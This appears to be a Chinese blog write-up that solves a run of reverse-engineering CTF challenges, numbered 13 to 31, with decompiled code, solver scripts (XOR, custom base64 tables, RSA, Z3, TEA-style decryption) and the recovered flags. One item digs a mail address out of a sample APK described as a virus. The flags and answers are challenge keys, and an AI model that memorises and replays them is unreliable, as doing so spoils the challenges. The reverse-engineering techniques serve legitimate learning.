a = 'Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3Wkc5WFJsbDNXa1pPVlUxV2NIcFhhMk0xVmpKS1NHVkdXbFpOYmtKVVZtcEtTMUl5VGtsaVJtUk9ZV3hhZVZadGVHdFRNVTVYVW01T2FGSnRVbGhhVjNoaFZWWmtWMXBFVWxSTmJFcElWbTAxVDJGV1NuTlhia0pXWWxob1dGUnJXbXRXTVZaeVdrWm9hVlpyV1hwV1IzaGhXVmRHVjFOdVVsWmlhMHBZV1ZSR1lWZEdVbFZTYlhSWFRWWndNRlZ0TVc5VWJGcFZWbXR3VjJKSFVYZFdha1pXWlZaT2NtRkhhRk5pVjJoWVYxZDBhMVV3TlhOalJscFlZbGhTY1ZsclduZGxiR1J5VmxSR1ZXSlZjRWhaTUZKaFZqSktWVkZZYUZkV1JWcFlWV3BHYTFkWFRrZFRiV3hvVFVoQ1dsWXhaRFJpTWtsM1RVaG9hbEpYYUhOVmJUVkRZekZhY1ZKcmRGTk5Wa3A2VjJ0U1ExWlhTbFpqUldoYVRVWndkbFpxUmtwbGJVWklZVVprYUdFeGNHOVhXSEJIWkRGS2RGSnJhR2hTYXpWdlZGVm9RMlJzV25STldHUlZUVlpXTlZadE5VOVdiVXBJVld4c1dtSllUWGhXTUZwell6RmFkRkpzVWxOaVNFSktWa1phVTFFeFduUlRhMlJxVWxad1YxWnRlRXRXTVZaSFVsUnNVVlZVTURrPQ=='
for i in range(10):
a = base64.b64decode(a).decode("utf-8") #必须先转码成byte型,因为python3中字符都为unicode编码,但是b64encode函数的参数为byte类型
print(a)

结果为:

https://bbs.pediy.com/thread-254172.htm

是个网页。。。什么东西,再回头看看代码

image-20230430190527451

这个下面还有参数,看看哪里调用了

image-20230430190609098

最后来到这

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 sub_400D35()
{
unsigned __int64 result; // rax
unsigned int v1; // [rsp+Ch] [rbp-24h]
int i; // [rsp+10h] [rbp-20h]
int j; // [rsp+14h] [rbp-1Ch]
unsigned int v4; // [rsp+24h] [rbp-Ch]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
v1 = sub_43FD20(0LL) - qword_6CEE38;
for ( i = 0; i <= 1233; ++i )
{
sub_40F790(v1);
sub_40FE60();
sub_40FE60();
v1 = sub_40FE60() ^ 0x98765432;
}
v4 = v1;
if ( (v1 ^ byte_6CC0A0[0]) == 102 && (HIBYTE(v4) ^ byte_6CC0A3) == 103 )
{
for ( j = 0; j <= 24; ++j )
sub_410E90((byte_6CC0A0[j] ^ *(&v4 + j % 4)));
}
result = __readfsqword(0x28u) ^ v5;
if ( result )
sub_444020();
return result;
}

看到别人的解答说这个函数调用时在fini段,也就是程序结束的地方调用的

image-20230430191955996

image-20230430193324182

这里可以看到v1是4个字节

image-20230603002634834

这里的这两个参数是连在一块的,是我们在base64编码参数后面看到的那个参数

image-20230603002713530

应该是v1与这一段异或等于flag,因为v1是unsigned int 4个字节,刚好是四个字母,v4又等于v1,所以就是v1与跟这段字符串异或,脚本如下:

1
2
3
4
5
6
7
8
9
10
v1=['f','l','a','g']
data=[0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24,
0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32, 0x45, 0x5B]
flag=""
v4=[]
for i in range(4):
v4.append(ord(v1[i])^data[i])
for i in range(len(data)):
flag+=chr(data[i]^v4[i%4])
print(flag)

13.[MRCTF2020]Transform1

image-20230605234640914

进入主函数

image-20230606004626653

image-20230606004641658

很简单的异或逻辑

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
a =[0x67, 0x79, 0x7B, 0x7F, 0x75, 0x2B, 0x3C, 0x52, 0x53, 0x79, 0x57, 0x5E, 0x5D, 0x42, 0x7B, 0x2D, 0x2A, 0x66, 0x42, 0x7E, 0x4C, 0x57, 0x79, 0x41, 0x6B, 0x7E, 0x65, 0x3C, 0x5C, 0x45, 0x6F, 0x62, 0x4D]
b=[0x9, 0x0A, 0x0F, 0x17, 0x7, 0x18, 0x0C, 0x6, 0x1, 0x10, 0x3, 0x11, 0x20, 0x1D, 0x0B, 0x1E, 0x1B, 0x16, 0x4, 0x0D, 0x13, 0x14, 0x15, 0x2, 0x19, 0x5, 0x1F, 0x8, 0x12, 0x1A, 0x1C, 0x0E, 0]

c=[0]*33
flag=[0]*33
for i in range(len(b)):
c[i] = a[i]^b[i]
j=0
print('\n')
for i in b:
flag[i]=c[j]
j+=1
print(''.join([chr(x) for x in flag]))

14.[WUSTCTF2020]level21

image-20230606004826990

upx壳,脱壳后拖入ida

image-20230606155425627

直接得到flag

15.[SUCTF2019]SignIn1

image-20230606155603758

拖入ida

image-20230606155745685

image-20230606155748650

v8就是我们输入的flag,进入sub_96A函数看看

image-20230606155910125

看样子是个求字符串长度的函数,然后把v8赋值给了v9

image-20230606160321415

image-20230606160311918

这几个函数都在got表中,动态链接库里才有完成代码

image-20230606160404725

字符串信息中刚好有一个libc.so.6,应该就是链接的文件名,把这个拖进ida看看

image-20230606160613286

没有搜到相关的函数。。。

直接百度这个函数,结果如下

__gmpz_init_set_str() 是一个函数,通常在 GNU MP (GMP) 库中使用。GMP 是一个用于高精度整数和有理数运算的开源数学库。

__gmpz_init_set_str() 函数用于初始化一个 GMP 整数类型 mpz_t 并将其设置为给定的字符串表示的整数值。它的函数原型如下:

1
2
cCopy code
void __gmpz_init_set_str(mpz_t rop, const char *str, int base)

参数说明:

  • ropmpz_t 类型的指针,表示要进行初始化和设置的目标整数。
  • str:要设置的整数的字符串表示。
  • base:字符串中的进制基数,例如,如果字符串表示十进制数,则将 base 设置为 10。

该函数将字符串表示的整数值设置到目标整数 rop 中,并进行适当的初始化。在使用完整数之后,应使用 __gmpz_clear() 函数清除相应的内存。

需要注意的是,前缀 __ 表示这是一个内部函数,而不是公共接口。在实际使用中,建议使用公共接口 mpz_init_set_str() 来代替 __gmpz_init_set_str()

还有这个函数

image-20230606161117266

__gmpz_powm() 是 GMP(GNU MP)库中的一个函数,用于计算模幂运算。

该函数用于计算给定的基数 g 的整数幂对给定的模数 m 取模的结果。函数原型如下:

1
2
cCopy code
void __gmpz_powm(mpz_t rop, const mpz_t base, const mpz_t exp, const mpz_t mod)

参数说明:

  • ropmpz_t 类型的指针,表示计算结果的目标整数。
  • basempz_t 类型的整数,表示要进行幂运算的基数。
  • expmpz_t 类型的整数,表示幂运算的指数。
  • modmpz_t 类型的整数,表示模数。

函数将计算结果存储在目标整数 rop 中。在使用前,应先使用 __gmpz_init()__gmpz_init2() 初始化目标整数,使用完毕后,应使用 __gmpz_clear() 清除相应的内存。

那么加密流程是将输入的flag设置成16进制数然后进行幂运算再取模,即flag的x次方mod y等于最后的结果,这个跟RSA加密很像,flag=v6,x=v5,y=v4

image-20230606175710628

结果是v7

image-20230606175908454

那么直接RSA解密就行,python内置的RSA库函数有这些

1
2
3
4
__all__ = ["newkeys", "encrypt", "decrypt", "sign", "verify", 'PublicKey',
'PrivateKey', 'DecryptionError', 'VerificationError',
'compute_hash', 'sign_hash']

先分解n

factordb.com

image-20230606182040359

p=282164587459512124844245113950593348271

q=366669102002966856876605669837014229419

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import gmpy2
import binascii

p = 282164587459512124844245113950593348271
q = 366669102002966856876605669837014229419
c = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35
n = 103461035900816914121390101299049044413950405173712170434161686539878160984549
e = 65537
d = gmpy2.invert(e, (p - 1) * (q - 1))#求d (e * d) % ((p-1)*(q-1)) == 1
m = gmpy2.powmod(c, d, n)#解密 (c^d) % n
print(binascii.unhexlify(hex(m)[2:]).decode(encoding="utf-8"))
'''
这行代码的作用是将解密后的整数 m 转换为十六进制字符串,然后使用 binascii.unhexlify() 函数将其解码为字节串,最后使用指定的编码方式进行解码,得到明文的字符串表示。

具体而言,hex(m) 将整数 m 转换为十六进制字符串表示,例如 '0x123'。通过切片操作 [2:],我们去掉了字符串开头的 '0x',只保留了实际的十六进制数部分,例如 '123'。

然后,binascii.unhexlify() 函数将十六进制字符串转换为字节串,例如 b'\x12\x34'。这个函数将每两个十六进制字符解析为一个字节。

最后,.decode(encoding="utf-8") 使用 UTF-8 编码方式对字节串进行解码,将其转换为明文的字符串表示。
'''

suctf{Pwn_@_hundred_years}

16.[ACTF新生赛2020]usualCrypt1

image-20230606225239156

打开ida

image-20230606230311157

image-20230606225849184

跟进加密函数

image-20230606230326168

base64

image-20230606231631428

跟进

image-20230606231649336

image-20230606231704631

image-20230606231918499

看样子是将byte_40E0AA的第七位到第十四位换成了byte_40E0A0,回到base64的加密函数

image-20230606232315796

最后有一个这个函数,跟进看看

image-20230606232337657

值得一提的是,这里的v1=0i64是将v1初始化为0,这是__int 64的一种特殊写法

这里就是一个单纯的大小写转换

那么这题思路就是,先将MXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9进行大小写转换,然后再进行base64解密,base64的加密表ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/要进行替换(注意这里要加上ABCDEFGHIJ,应该是ida的问题,他把这一个变量分开了),所以实际上是将ABC…开始下标为6-14的字符替换为从KLMN…的6-14,那么就是6-14被替换为16-24

替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
'''
字符串转换为列表
str1 = "12345"
list1 = list(str1)
print list1

str2 = "123 sjhid dhi"
list2 = str2.split() #or list2 = str2.split(" ")
print list2

str3 = "www.google.com"
list3 = str3.split(".")
print list3

'''
import base64
b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
b=list(b)
for i in range(6,15):
t=b[i]
b[i]=b[i+10]
b[i+10]=t
print(''.join(b))
#ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/

大小写转换

1
2
3
4
5
6
7
8
9
10
11
12
flag='zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9'

flag1=''
for char in flag:
if char.islower():
flag1+=char.upper()
elif char.isupper():
flag1+=char.lower()
else:
flag1+=char
print(flag1)
#ZmxhZ3tiGNXlXjHfaDTzN2FfK3LycRTpc2L9

换表的base64解密

1
2
3
4
5
6
7
8
import base64
import string

str = "ZmxhZ3tiGNXlXjHfaDTzN2FfK3LycRTpc2L9" # 欲解密的字符串
outtab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" # 原生字母表
intab = "ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/" # 换表之后的字母表

print (base64.b64decode(str.translate(str.maketrans(intab,outtab))))

17.[MRCTF2020]Xor1

image-20230607232729394

image-20230607233341395

这题竟然不能看伪代码

image-20230608000307548

长度为1b,也就是27

image-20230608000342318

这里就是比较的地方了,跟进一下byte_14EA08

image-20230608000420990

直接动调了一下

image-20230608000821925

就是输入的数据和0-27分别异或

脚本如下:

1
2
3
4
5
6
a = 'MSAWB~FXZ:J:`tQJ"N@ bpdd}8g'
a=list(a)
flag=''
for i in range(len(a)):
flag+=chr(i^ord(a[i]))
print(flag)

MRCTF{@_R3@1ly_E2_R3verse!}

18.[MRCTF2020]hello_world_go1

image-20230609010046450

打开ida,f5查看伪代码

image-20230609010148358

go语言的反汇编第一次接触,不是很熟悉,查看下字符串信息,检索下flag看看有没有关键点

image-20230609010806063

太多了。。。还是直接看伪代码吧

image-20230609011108400

这里发现有两个比较函数,看看各个变量的信息

image-20230609011136441

image-20230609011144775

结果这里已经存在flag了,选中后按a提取字符串

flag{hello_world_gogogo}

19.相册1

你好,这是上次聚会相片,你看看(病毒,不建议安装到手机,提取完整邮箱即为flag) 注意:得到的 flag 请包上 flag{} 提交

安卓逆向,jadx打开

image-20230609012334141

这里有个Base64的加密

image-20230609012457694

还有个二维码

提取完整邮箱就是flag,那就找找mail相关的

image-20230609012935761

这里发现了flag关键词

image-20230609013034928

同时检索mail关键词时看到了sendMail的字眼,那肯定跟邮箱相关,跟进第一个看看

image-20230610010117903

这里调用了C2class,跟进看看

image-20230610010154312

这里好像是一些发送信息,回到sendMail,看看哪里调用了

image-20230610010502892

image-20230610010557260

这里的MailServer可能就是邮箱,而且这个是C2部分的声明,那回到C2分析

image-20230610011006477

这里可以看到System.loadLibrary,猜测这些变量是调用了名叫core的so文件,用ida打开so文件,搜索NativeMethod

image-20230610011504984

MailServer调用的是NativeMethod.m,跟进看看

image-20230610011550907

Base64解码看看

image-20230610011625735

这个应该就是我们想要的flag了

18218465125@163.com

20.[WUSTCTF2020]level3

image-20230610011813600

无壳,打开ida,主函数如下,再看看字符串信息有没有什么关键的

image-20230610011849600

image-20230610011929307

这里有串Base64编码,并且下面应该是编码表

image-20230610012005400

看起来没有换表

image-20230610011849600

回到主函数分析,输入flag,如果随机数生成是偶数执行else语句,但是else语句提示了好像跟标准的base64加密不一样,,,估计哪里遗漏了信息,找找text段里有没有相关函数吧

image-20230610012844727

看到main函数的上方有个O_OLookAtYou函数,查找引用,反汇编

image-20230610012920312

看来这个就是换表函数了ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

1
2
3
4
5
6
7
8
9
10
11
12
base_table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
base_table=list(base_table)
v1=[]
res=0
for i in range(10):
v1=base_table[i]
base_table[i]=base_table[19-i]
res=19-i
base_table[res]=v1

print(''.join(base_table))
#TSRQPONMLKJIHGFEDCBAUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

脚本如下:

1
2
3
4
5
6
7
8
import base64
import string

str = "d2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD==" # 欲解密的字符串
outtab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" # 原生字母表
intab = "TSRQPONMLKJIHGFEDCBAUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" # 换表之后的字母表

print (base64.b64decode(str.translate(str.maketrans(intab,outtab))))

wctf2020{Base64_is_the_start_of_reverse}

21.[FlareOn4]IgniteMe

Hint:本题解出相应字符串后请用flag{}包裹,形如:flag{123456@flare-on.com}

image-20230610014219160

打开ida,查看字符串信息,字符串信息很少

image-20230612202831303

主函数代码如下:

image-20230612202932482

看到了WriteFile函数,前面还有两个GetStdHandle函数,这个函数应该是获取标准输入输出流的句柄,然后将数据写入文件,那个sub_4010F0函数应该是加密函数

image-20230612204200554

  1. dword_403070:这是一个句柄(handle),代表要读取的文件、设备或管道。在你的代码中,它的值为dword_403070,即先前通过GetStdHandle函数获取的标准输入流句柄。
  2. v2:这是一个指向缓冲区的指针,用于存储从文件或设备中读取的数据。在你的代码中,它可能是一个变量的名称,用于存储读取的数据。
  3. 260:这是一个整数值,表示要读取的最大字节数。在这种情况下,最多读取260个字节的数据。
  4. &v3:这是一个指向变量的指针,用于存储实际读取的字节数。函数执行后,会将实际读取的字节数存储在v3所指向的变量中。
  5. 0:这是一个控制标志(dwFlags),用于指定读取操作的一些选项。在这种情况下,值为0表示使用默认的读取选项。

跟进一下sub_401020函数

image-20230612204249373

没什么用,就是为了前面for循环给个结束条件,sub_401020是个赋值函数

那么sub_4010F0函数应该就是读取文件数据的,回到主函数吧

进入sub_401050函数

image-20230612205322629

把输入的值赋给了v1,跟进一下sub_401000函数

image-20230612205414419

这里是循环左移4位? 然后又右移1位,不太清楚这里v4的值是多少,但是可以动调出来

image-20230612205807311

下断点,开始动调

image-20230612210103255

这里eax变成了0x00700004,返回值是int16,也就是十六进制下的后四位,0x0004,所以v4就是4,。这里我后续去搜了一下wp,有个对__ROL__函数的分析__ROL__()函数:循环左移函数,第一个数是循环左移的值,第二个参数是循环左移的位数,最后再整体逻辑右移

即将0x80070000向左循环移动4位,即× 24(相当于十六进制向左移动一位),得到0x00700008。 然后再右移一位得到0x00700004。还要注意到return(int16),即取十六进制的后两个字节。 故v4=0x0004
原文链接:https://blog.csdn.net/qq_61156124/article/details/130133649

回到这个函数:

image-20230612210406102

后续就比较简单了,异或后比较,查看一下byte_403000的值

image-20230612210542604

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
a=[13,  38,  73,  69,  42,  23, 120,  68,  43, 108,
93, 94, 69, 18, 47, 23, 43, 68, 111, 110,
86, 9, 95, 69, 71, 115, 38, 10, 13, 19,
23, 72, 66, 1, 64, 77, 12, 2, 105, 0]

v4=4
flag=[0]*40
for i in range(39,-1,-1):
temp=v4^a[i]
flag[i]=temp
v4=temp

print(''.join(chr(x) for x in flag))

flag{R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com}

23.[GWCTF 2019]xxor

image-20230612230557705

打开ida,查看一下字符串信息

image-20230614000813131

找到关键函数

image-20230614000934311

主函数逻辑比较简单,先输入flag,然后再第二个for循环中进行加密,最后再进行对比。输入要求是6个整数,每个整数提供 4字节 的存储空间。存储到 8字节v6数组中。所以这6个数据实际上只占用了3个v6数组。

image-20230614004356744

由于 v68字节 的而 dword_6010784字节 的。所以直接将 v6[0] 赋给 dword_601078 。实际上只是得到的是 v6[0] 数据低位的 4个字节 。也就是上述中的 p[0] ,而 dword_60107C 就是 p[1]

进入一下加密函数,sub_400686看看,asc_601060数据为2,0,0,0,2,0,0,0,3,0,0,0,4,0,0,0

image-20230614003638029

主函数的sub_400770函数如下

image-20230614004641696

解出a1可以使用Z3约束求解,Z3约束我也是第二次使用,所以此次详细记录一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from z3 import *

#一共有6个未知数,且是整数类型的,设未知数
a0, a1, a2, a3, a4, a5 = Ints('a0 a1 a2 a3 a4 a5')
s=Solver()
#列方程
s.add(a2 - a3 == 0x84A236FF)
s.add(a3 + a4 == 0xFA6CB703)
s.add(a2 - a4 == 0x42D731A8)
s.add(a0 == 0xDF48EF7E)
s.add(a5 == 0x84F30420)
s.add(a1 == 0x20CAACF4)

if s.check()==sat:
print(s.model())
else:
print("无解")

```
[a4 = 2652626477,
a0 = 3746099070,
a2 = 3774025685,
a5 = 2230518816,
a3 = 1548802262,
a1 = 550153460]
```

解出的这六个数据就是我们输入的flag[6],接下来逆向加密函数,加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall sub_400686(unsigned int *a1, _DWORD *a2)
{
__int64 result; // rax
unsigned int v3; // [rsp+1Ch] [rbp-24h]
unsigned int v4; // [rsp+20h] [rbp-20h]
int v5; // [rsp+24h] [rbp-1Ch]
unsigned int i; // [rsp+28h] [rbp-18h]

v3 = *a1;
v4 = a1[1];
v5 = 0;
for ( i = 0; i <= 63; ++i )
{
v5 += 1166789954;
v3 += (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 0x20;
v4 += (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 0x10;
}
*a1 = v3;
result = v4;
a1[1] = v4;
return result;
}
//其实就是对flag[6]进行逐位加密,flag是int 64类型的,所以是64位

解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
int main()
{
int a1[6] = { 3746099070,550153460,3774025685,1548802262,2652626477,2230518816 };
unsigned int a2[4] = { 2,2,3,4 };
unsigned int v3;
unsigned int v4;
int v5;
for (unsigned int j = 0; j < 5; j += 2)
{
v3 = a1[j];
v4 = a1[j + 1];
v5 = 1166789954 * 64;
for (unsigned int i = 0; i < 64; i++)
{
v4 -= (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 0x10;
v3 -= (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 0x20;
v5 -= 1166789954;
}
a1[j] = v3;
a1[j + 1] = v4;
}//小端序
for (unsigned int i = 0; i < 6; i++)
printf("%c%c%c", *((char*)&a1[i] + 2), *((char*)&a1[i] + 1), *(char*)&a1[i]);
}

flag{re_is_great!}

24.[WUSTCTF2020]Cr0ssfun

image-20230615003501387

打开ida,来到main函数

image-20230615003648554

进入一下check函数

image-20230615003701438

接着跟进

image-20230615003726503

接着跟进

image-20230615003846719

继续

image-20230615003902252

image-20230615003911956

image-20230615003918848

image-20230615003926603

终于是到finally了

image-20230615003940756

整理一下a1数组,这里没有对flag进行加密,就是简单的判断,所以a1就是flag

脚本如下:

1
2
3
4
5
6
enc = [119,99,116,102,50,48,50,48,123,99,112,112,95,64,110,100,95,114,51,118,101,114,115,101,95,64,114,101,95,102,117,110,125]
flag = ""
for i in range(len(enc)):
flag += chr(enc[i])
print(flag)

flag{cpp_@nd_r3verse_@re_fun}

25.[FlareOn6]Overlong

The secret of this next challenge is cleverly hidden. However, with the right approach, finding the solution will not take an overlong amount of time.

提示告诉我们,关键信息被巧妙的隐藏了

image-20230616014342294

打开ida,主函数如下:

image-20230616014512533

unk_402088

image-20230616014829171

是个很长的字符串

跟进sub_401160函数,只传入了28的长度

image-20230616014543791

接着跟进

image-20230616014610287

这里有点像base64编码,但是整个程序没有输入,也没有进行对比,加上提示

image-20230616015154325

应该是这句话后面部分没有显示出来,找一下关键的代码

image-20230616015303242

看起来似乎把这个28改长一点就能显示后面的内容

image-20230616015433891

地址在004011C9

打开x32dbg,本想直接跳转到push 1Ch的地方,但是貌似不行

image-20230616015557754

但是这个主函数很短,一下就看到了push 1Ch。

image-20230616015635128

image-20230616015720050

改大一点,单步运行一下看看

image-20230616015755989

flag出现了

flag{I_a_M_t_h_e_e_n_C_o_D_i_n_g@flare-on.com}

26.[UTCTF2020]basic-re

image-20230616015955236

打开ida,查看字符串信息

image-20230702163249296

进入关键函数

image-20230702163345817

可以看到这里就是先输入+-*/,然后再输入两个数进行操作

回到视图表

image-20230702163807196

这里好像,并没有对flag做什么改变,直接提交一下试试看吧

flag{str1ngs_1s_y0ur_fr13nd}

竟然对了。。。。。

27.[FlareOn3]Challenge1

image-20230702164040835

打开ida,进入main函数

image-20230702164233261

逻辑很简单,输入flag,加密,sub_401260应该是flag的加密,跟进看看

image-20230702164441363

很像base64,但是好像不太一样,看看加密表

image-20230702165002072

加密表应该换成ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/

脚本如下:

1
2
3
4
5
6
7
8
import base64
import string

str = "x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q" # 欲解密的字符串
outtab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" # 原生字母表
intab = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/" # 换表之后的字母表

print (base64.b64decode(str.translate(str.maketrans(intab,outtab))))

sh00ting_phish_in_a_barrel@flare-on.com

28.[ACTF新生赛2020]Oruga

image-20230702171138883

打开ida,进入main函数

image-20230702171854783

跟进sub_78A()

image-20230702173227171

image-20230702173521242

byte_201020数据如下

image-20230702173808166

这样一看,里面的while循环里的while循环的条件就是byte_201020里面数为0的

要让第一层while循环终止,就要走到!,所以有点像迷宫,是个16*16的迷宫

image-20230702175133650

可以在16进制看到迷宫图,终点是21h

image-20230702175652072

就是不要走出边界,然后走到21h就行

image-20230702175737847

往右是E,往左是J,往上是W,往下是M

值得一提的是,由于下图的while循环,往下会一直走到头

image-20230702180156304

所以就是MEWEMEWJMEWJM

29.特殊的 BASE64

image-20230702180428203

打开ida,查看字符串信息

image-20230702180524335

进入关键函数

image-20230702182725455

就是输入然后base64加密与v7判断,换表

AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+

1
2
3
4
5
6
7
8
import base64
import string

str = "mTyqm7wjODkrNLcWl0eqO8K8gc1BPk1GNLgUpI==" # 欲解密的字符串
outtab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" # 原生字母表
intab = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+" # 换表之后的字母表

print (base64.b64decode(str.translate(str.maketrans(intab,outtab))))

flag{Special_Base64_By_Lich}

30.[BJDCTF2020]BJD hamburger competition

这是个…..小游戏?

image-20230703010441627

很离谱,第一次碰到这种题,只能先搜寻一下了

.net工具需要使用dnSpy来进行分析

根据大佬的博客,要将BJD hamburger competition_Data
\Managed文件夹中的Assembly-CSharp.dll拖到dnSpy进行分析

image-20230703012949166

这里可以看到有许多类,md5,sha1之类的

image-20230703013040573

这里又可以看到应该是游戏里按钮的实现方法,像eat和menu这些应该没什么好分析的,这个通关猜测是将组合组对,所以要找到判断组合的地方

这里一个个找,在ButtonSpawnFruit里找到了加密的地方

image-20230703013415992

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
using System;
using System.Security.Cryptography;
using System.Text;
using UnityEngine;

// Token: 0x02000004 RID: 4
public class ButtonSpawnFruit : MonoBehaviour
{
// Token: 0x0600000A RID: 10 RVA: 0x00002110 File Offset: 0x00000310
public static string Md5(string str)
{
byte[] bytes = Encoding.UTF8.GetBytes(str);
byte[] array = MD5.Create().ComputeHash(bytes);
StringBuilder stringBuilder = new StringBuilder();
foreach (byte b in array)
{
stringBuilder.Append(b.ToString("X2"));
}
return stringBuilder.ToString().Substring(0, 20);
}

// Token: 0x0600000B RID: 11 RVA: 0x00002170 File Offset: 0x00000370
public static string Sha1(string str)
{
byte[] bytes = Encoding.UTF8.GetBytes(str);
byte[] array = SHA1.Create().ComputeHash(bytes);
StringBuilder stringBuilder = new StringBuilder();
foreach (byte b in array)
{
stringBuilder.Append(b.ToString("X2"));
}
return stringBuilder.ToString();
}

// Token: 0x0600000C RID: 12 RVA: 0x000021C8 File Offset: 0x000003C8
public void Spawn()
{
FruitSpawner component = GameObject.FindWithTag("GameController").GetComponent<FruitSpawner>();
if (component)
{
if (this.audioSources.Length != 0)
{
this.audioSources[Random.Range(0, this.audioSources.Length)].Play();
}
component.Spawn(this.toSpawn);
string name = this.toSpawn.name;
if (name == "汉堡底" && Init.spawnCount == 0)
{
Init.secret += 997;
}
else if (name == "鸭屁股")
{
Init.secret -= 127;
}
else if (name == "胡罗贝")
{
Init.secret *= 3;
}
else if (name == "臭豆腐")
{
Init.secret ^= 18;
}
else if (name == "俘虏")
{
Init.secret += 29;
}
else if (name == "白拆")
{
Init.secret -= 47;
}
else if (name == "美汁汁")
{
Init.secret *= 5;
}
else if (name == "柠檬")
{
Init.secret ^= 87;
}
else if (name == "汉堡顶" && Init.spawnCount == 5)
{
Init.secret ^= 127;
string str = Init.secret.ToString();
if (ButtonSpawnFruit.Sha1(str) == "DD01903921EA24941C26A48F2CEC24E0BB0E8CC7")
{
this.result = "BJDCTF{" + ButtonSpawnFruit.Md5(str) + "}";
Debug.Log(this.result);
}
}
Init.spawnCount++;
Debug.Log(Init.secret);
Debug.Log(Init.spawnCount);
}
}

// Token: 0x04000005 RID: 5
public GameObject toSpawn;

// Token: 0x04000006 RID: 6
public int spawnCount = 1;

// Token: 0x04000007 RID: 7
public AudioSource[] audioSources;

// Token: 0x04000008 RID: 8
public string result = "";
}

image-20230703013514929

这里就是判断了

https://www.somd5.com/

先把sha1进行解密

sha1在线解密 在线加密 (ttmd5.com)

image-20230703014529012

image-20230703014607671

然后又对解密出来的值进行md5加密

MD5在线加密 - MD5加密工具 - MD5在线生成 (bmcx.com)

image-20230703014728614

这里有四种,看看代码中的md5加密是哪一种

image-20230703014824196

1
2
3
4
5
6
7
8
9
10
11
public static string Md5(string str)
{
byte[] bytes = Encoding.UTF8.GetBytes(str);
byte[] array = MD5.Create().ComputeHash(bytes);
StringBuilder stringBuilder = new StringBuilder();
foreach (byte b in array)
{
stringBuilder.Append(b.ToString("X2"));
}
return stringBuilder.ToString().Substring(0, 20);
}

这里的X2就是将每个字节转换为两位的十六进制字符串,其实也可以一个个试,反正就四个

BJDCTF{B8C37E33DEFDE51CF91E}

31.[ACTF新生赛2020]Universe_final_answer

image-20230704010510525

打开ida,查看字符串信息

image-20230704010548953

进入关键函数

image-20230704113919794

跟进sub_860()看看

image-20230704114854127

这不就是解方程吗,就是未知数有点多,用z3解,这里又搜寻回顾了一下z3库的用法

有理数(Real)型解方程求解

1
2
3
4
5
6
7
8
9
10
11
12
13
from z3 import *

x = Real('x')
y = Real('y')
s = Solver()
s.add(x**2 + y**2 == 3)
s.add(x**3 == 2)
check = s.check()
print(check)
model = s.model()
print(model)
# sat
# [y = -1.1885280594?, x = 1.2599210498?]

位向量(BitVec)型解方程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from z3 import *
#只定义一个位向量时
m = BitVec('m',8)#8代表初始化位向量的bit位数,8位,即1个字节
#同时定义多个位向量时
